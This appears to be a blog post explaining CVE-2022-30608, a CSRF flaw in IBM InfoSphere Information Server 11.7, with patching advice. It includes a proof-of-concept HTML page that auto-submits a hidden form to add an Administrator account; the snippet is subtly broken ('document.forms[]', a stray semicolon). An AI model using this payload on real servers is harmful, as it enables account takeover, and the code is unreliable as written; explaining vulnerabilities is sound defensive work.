In this post, we’ll dig deep into CVE-2022-30608, a Cross-Site Request Forgery (CSRF) issue affecting IBM InfoSphere Information Server 11.7. This security flaw could let attackers execute unauthorized or malicious actions as a trusted user, simply by tricking the user into clicking a link or loading a web page.

Let’s break down what this means, how it works, see exploit code, and find out what you can do about it.

What is CVE-2022-30608?

IBM InfoSphere Information Server is a platform for integrating and managing data. Reference: IBM Security Bulletin: CVE-2022-30608.

With this CVE, InfoSphere Information Server 11.7 did not adequately protect its web interfaces against CSRF attacks. This gave attackers a chance to “borrow” your login session, and trick the application into doing something on your behalf—even if you didn’t mean to.

IBM X-Force ID: 227295

How CSRF Works (Simple Explanation)

Let’s say you’re logged into your InfoSphere admin dashboard in one browser tab. Somewhere else, you visit a bad website. This website secretly sends a request to your InfoSphere server, and because you’re already logged in, the server thinks the *request* is coming from you! So the attacker can issue commands or change data as if they're you.

Proof of Concept: Exploit Code Example

Suppose an attacker wants to add a new user to your system, using a CSRF attack via a crafted HTML page.

Sample Attack HTML (for demonstration only)

<!-- Save this as csrf.html and open while victim is logged in to InfoSphere -->
<html>
  <body>
    <form action="http://infosphere-server:908/ibm/iis/identity/user/add"; method="POST">
      <input type="hidden" name="username" value="eviluser"/>
      <input type="hidden" name="password" value="EvilPass123"/>
      <input type="hidden" name="role" value="Administrator"/>
      <input type="submit" value="CSRF"/>
    </form>
    <script>
      document.forms[].submit();
    </script>
  </body>
</html>

How it works

- When the victim, already authenticated, visits this page, the hidden form is submitted automatically to the InfoSphere server.
- If anti-CSRF measures aren’t present, InfoSphere accepts the request and adds a user with admin privileges!

Why Did This Happen?

Many web applications use session cookies to remember who you are. Without using CSRF tokens or verifying the Origin/Referer headers, the server can’t distinguish a real request from you versus a sneaky one sent by an attacker.

IBM patched this vulnerability in later updates. Be sure to

- Apply all security updates for InfoSphere Information Server Get latest version here.

More Reading

- IBM Security Bulletin: CVE-2022-30608
- National Vulnerability Database: CVE-2022-30608
- X-Force Threat Intelligence: 227295
- CSRF explained by OWASP

Wrapping Up

CVE-2022-30608 is a classic reminder: web applications must defend against CSRF or risk attackers impersonating trusted users. If your company uses IBM InfoSphere Information Server 11.7, patch right away. Never underestimate minor vulnerabilities—one click on the wrong page can be all an attacker needs.

Timeline

Published on: 11/03/2022 20:15:00 UTC
Last modified on: 11/04/2022 14:08:00 UTC